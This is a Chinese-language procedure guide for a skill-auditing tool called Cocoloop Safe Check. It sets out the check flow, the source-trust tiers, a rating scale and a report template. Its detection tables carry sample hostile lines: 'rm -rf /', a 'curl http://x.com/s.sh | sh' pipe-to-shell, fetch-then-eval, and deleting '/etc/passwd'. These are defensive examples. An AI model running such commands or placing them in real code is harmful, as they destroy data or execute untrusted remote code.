# Cocoloop Safe Check 安全检查流程指南

本文档详细描述 Cocoloop 安全检查的执行流程，基于 cocoloop-safe-check 安全认证体系。

## 检查触发时机

1. **安装前检查**（推荐）
   - 用户明确请求："检查 xxx 安全"
   - 来源为 T3 且用户未使用 --skip-check 参数

2. **安装后检查**
   - 安装完成后询问用户是否需要检查

3. **批量检查**
   - 检查所有已安装 skills

## 检查流程概览

```
开始检查
  ↓
定位 Skill 来源
  ├── 本地路径 ──→ 读取本地文件
  ├── Skill 名称 ──→ 在安装目录查找
  ├── GitHub 链接 ──→ 下载仓库内容
  └── URL ──→ 下载内容
  ↓
提取所有代码
  ├── SKILL.md 中的代码块
  ├── scripts/ 目录文件
  ├── references/ 目录（检查可执行代码）
  └── assets/ 目录（检查可执行文件）
  ↓
执行六项检查
  ├── 1. 代码安全性
  ├── 2. 数据隐私性
  ├── 3. 执行安全性
  ├── 4. 依赖可靠性
  ├── 5. 边界完整性
  └── 6. 描述逻辑
  ↓
评估来源可信度 (T1/T2/T3)
  ↓
计算安全评级 (S+/S/A/B/C/D)
  ↓
生成报告 ──→ 询问保存位置 ──→ 保存报告
  ↓
评级 <= B? ──是──→ 强烈建议用户注意安全
  ↓
完成
```

## 详细检查步骤

### 第一步：定位 Skill

根据用户输入确定检查目标：

| 输入类型    | 处理方式           | 示例                                           |
| ----------- | ------------------ | ---------------------------------------------- |
| 本地路径    | 直接读取目录       | `~/.claude/skills/pdf-processor/`              |
| Skill 名称  | 在平台安装目录查找 | `pdf-processor`                                |
| GitHub 链接 | 解析并下载仓库     | `https://github.com/owner/repo`                |
| GitHub 短链 | 拼接完整地址       | `owner/repo` → `https://github.com/owner/repo` |

下载 GitHub 仓库内容：

1. 获取默认分支：`GET https://api.github.com/repos/{owner}/{repo}` → `default_branch`
2. 下载归档：`https://github.com/{owner}/{repo}/archive/{branch}.zip`
3. 解压到临时目录

### 第二步：提取代码

遍历 skill 目录，提取所有可执行内容：

**SKILL.md 代码块提取：**

- 正则匹配：/`(\w+)?\n([\s\S]*?)`/g
- 记录语言类型和代码内容
- 可执行语言标记：javascript, js, python, py, bash, sh, shell, ruby, rb, php, perl, pl

**scripts/ 目录：**

- 列出所有文件
- 根据扩展名识别类型：.js, .cjs, .mjs, .py, .sh, .rb, .pl
- 读取文件内容

**references/ 目录：**

- 检查是否包含可执行代码（按文件扩展名和内容）

**assets/ 目录：**

- 检查可执行二进制文件

### 第三步：六项检查

#### 3.1 代码安全性检查

检查危险函数和漏洞模式：

**D级触发项（一票否决）：**

| 模式            | 描述                 | 示例                           |
| --------------- | -------------------- | ------------------------------ |
| `eval\s*\(`     | 使用 eval 执行代码   | `eval(userInput)`              |
| `exec\s*\(`     | 使用 exec 执行命令   | `exec(userCommand)`            |
| `system\s*\(`   | 使用 system 执行命令 | `system("rm -rf /")`           |
| `child_process` | 引入 child_process   | `require('child_process')`     |
| `spawn\s*\(`    | 使用 spawn 执行命令  | `spawn('sh', ['-c', cmd])`     |
| `rm\s+-rf\s+/`  | 系统破坏性命令       | `rm -rf /`                     |
| `curl.*\|.*sh`  | 管道执行远程脚本     | `curl http://x.com/s.sh \| sh` |
| `fetch.*eval`   | 下载并执行代码       | `fetch(url).then(r=>eval(r))`  |

**C级触发项：**

| 模式           | 描述                               | 示例                       |
| -------------- | ---------------------------------- | -------------------------- |
| 硬编码密码     | `password\s*=\s*["'][^"']+["']`    | `password = "secret123"`   |
| 硬编码 API Key | `api[_-]?key\s*=\s*["'][^"']+["']` | `api_key = "sk-xxx"`       |
| 硬编码 Token   | `token\s*=\s*["'][^"']+["']`       | `token = "ghp_xxx"`        |
| 硬编码 Secret  | `secret\s*=\s*["'][^"']+["']`      | `secret = "xxx"`           |
| 文件删除操作   | `fs\.unlink\s*\(`                  | `fs.unlink('/etc/passwd')` |
| 目录删除操作   | `fs\.rmdir\s*\(`                   | `fs.rmdir('/system')`      |

#### 3.2 数据隐私性检查

**D级触发项：**

- 未经用户确认上传本地文件到远程（T3 来源）
- 静默收集密码、密钥等敏感信息
- 将敏感数据传输到未加密通道（http 而非 https）

**C级触发项：**

- 收集的数据超出功能说明范围
- 未明确告知用户数据使用情况

检查方法：

- 查找网络请求代码（fetch, axios, request, http.get）
- 检查请求目标 URL
- 检查请求体是否包含敏感字段名

#### 3.3 执行安全性检查

**D级触发项：**

- 执行 `rm -rf /` 或类似系统破坏性命令
- 无确认直接执行系统级危险操作（格式化磁盘、修改系统配置）
- 修改系统关键配置且无备份机制

**C级触发项：**

- 危险操作缺乏二次确认
- 关键操作无回滚机制

#### 3.4 依赖可靠性检查

检查是否加载动态代码：

- 从网络下载并执行代码
- 使用 `fetch` 或 `curl` 获取远程脚本并执行
- 动态 `import()` 不可信来源的模块
- `require()` 远程模块

**URL 递归检查机制：**

对于动态加载的可执行文件，实施最多 2 层的 URL 递归检查：

```
第 0 层: Skill 本体代码
    ↓ 发现动态加载 URL
第 1 层: 下载并检查第一层动态加载的内容
    ↓ 如发现该层内容仍包含动态加载
第 2 层: 下载并检查第二层动态加载的内容
    ↓ 如第 2 层仍包含动态加载
   终止递归，最高标记为 C 级（多层动态加载风险）
```

**递归检查流程：**

1. **提取 URL**：从代码中提取所有网络请求目标 URL
   - `fetch('https://example.com/script.js')`
   - `curl -o script.sh https://example.com/script.sh`
   - `import('https://example.com/module.js')`
   - `require('https://example.com/package')`

2. **逐层检查**：
   - **第 1 层**：下载 URL 内容，检查是否为可执行代码
     - 如果是可执行代码 → 进行安全检查（危险函数、敏感信息等）
     - 如果包含新的动态加载 URL → 进入第 2 层
   - **第 2 层**：下载并检查第二层内容
     - 如果仍包含动态加载 → 标记为 C 级（多层动态加载）
     - 记录所有发现的 URL 链

3. **风险评级规则**：
   - **无动态加载**：正常评级流程
   - **仅第 1 层动态加载**：根据来源分级处理
   - **存在第 2 层动态加载**：最高评级为 C 级
   - **第 2 层后仍有动态加载**：强制标记为 C 级

**来源分级处理（动态代码）：**

- **T1 来源**：可加载官方动态代码，放宽至 B 级要求
- **T2 来源**：动态代码需来源验证，放宽至 C 级要求
- **T3 来源**：严格禁止未经验证的动态代码加载

**多层动态加载示例（C 级）：**

```javascript
// Skill 代码（第 0 层）
fetch('https://example.com/loader.js'); // 第 1 层

// loader.js 内容（第 1 层）
import('https://another.com/runtime.js'); // 第 2 层

// runtime.js 内容（第 2 层）
fetch('https://third.com/exec.js'); // 第 3 层 → 触发 C 级标记
```

#### 3.5 边界完整性检查

- 缺乏基本的输入验证（未检查参数类型、范围）
- 对异常情况处理不当（try-catch 缺失）
- 错误信息泄露敏感信息（堆栈跟踪包含路径、密钥片段）

#### 3.6 描述逻辑审查

- 功能描述是否清晰准确
- 安全相关行为是否有明确告知
- 是否隐瞒潜在风险

### 第四步：来源可信度评估

确定 skill 的来源等级：

**T1 - 官方/顶级来源：**

- 知名大型技术公司（Google, Microsoft, OpenAI, Anthropic, Meta, AWS）
- 顶级开源基金会（Apache, Linux 基金会）
- 有官方代码签名

**T2 - 可信组织来源：**

- 有实名认证的组织账号
- GitHub 组织账号（非个人）
- Stars > 1000 或有良好声誉

**T3 - 社区/个人来源：**

- 个人开发者账号
- 小型社区项目
- 来源无法明确验证

### 第五步：计算评级

评级判定流程：

```
检查开始
    ↓
发现 D 级问题？ ──是──→ D 级（一票否决）
    ↓ 否
发现 C 级问题？ ──是──→ C 级
    ↓ 否
满足 S 级要求？ ──是──→ S 级
    ↓ 否
满足 A 级要求？ ──是──→ A 级
    ↓ 否
    B 级
```

**纯文档型资产**（无代码）：
| 条件 | 评级 |
|------|------|
| 无 C/D 级问题 + T1/T2 来源 | **S 级** |
| 无 C/D 级问题 + T3 来源 | **A 级** |

**代码型资产**（有脚本/可执行代码）：

S 级要求（需全部满足）：

1. **来源可信**：T1/T2 来源
2. **代码安全**：无危险函数，无注入漏洞
3. **依赖可靠**：版本锁定，无动态代码加载，无已知 CVE
4. **输入验证**：完善的参数校验和类型检查
5. **错误处理**：不暴露敏感信息，有异常处理机制
6. **权限最小化**：权限申请与功能匹配，有明确说明
7. **数据隐私**：无静默收集，用户可控制数据使用

A 级要求（需全部满足）：

1. **代码安全**：无危险函数，无注入漏洞
2. **依赖可靠**：版本锁定，无动态代码加载，无已知 CVE
3. **输入验证**：完善的参数校验和类型检查
4. **错误处理**：不暴露敏感信息，有异常处理机制
5. **权限最小化**：权限申请与功能匹配，有明确说明
6. **数据隐私**：无静默收集，用户可控制数据使用

（A 级与 S 级的区别在于：S 级要求 T1/T2 来源，A 级允许 T3 来源）

### 第六步：生成报告

报告结构：

```markdown
# Cocoloop Safe Check 安全认证报告

## 基本信息

- Skill 名称: [名称]
- 来源: [GitHub 链接/本地路径]
- 来源等级: [T1/T2/T3]

## 评级结果

评级: [S+/S/A/B/C/D]
评价: [一句话评价]

## 检查依据

### ✅ 通过项

- [检查项]

### ⚠️ 注意事项

- [注意事项]

### ❌ 问题项

- [问题项]

## 详细检查结果

[各维度详细检查结果]

## 使用建议

[推荐使用场景和安全使用指南]
```

## 报告保存流程

1. **询问用户保存位置**
   - 选项：桌面 / 下载文件夹 / 当前工作目录 / 指定路径 / 只展示不保存

2. **根据选择保存**
   - 文件名格式：`Cocoloop-认证-{skill-name}-{评级}-报告.md`

3. **展示结果摘要**

## 使用建议生成

根据评级生成使用建议：

**S+/S 级：**

- 可放心使用
- 推荐用于生产环境

**A 级：**

- 代码安全，可正常使用
- 建议了解作者背景

**B 级：**

- 无显著安全问题，但有改进空间
- 建议阅读代码后再使用

**C 级：**

- 存在潜在安全问题
- 建议在隔离环境测试后再使用
- 不建议用于处理敏感数据

**D 级：**

- 存在严重安全问题
- 强烈建议不要使用
- 如需使用，必须在完全隔离的环境中
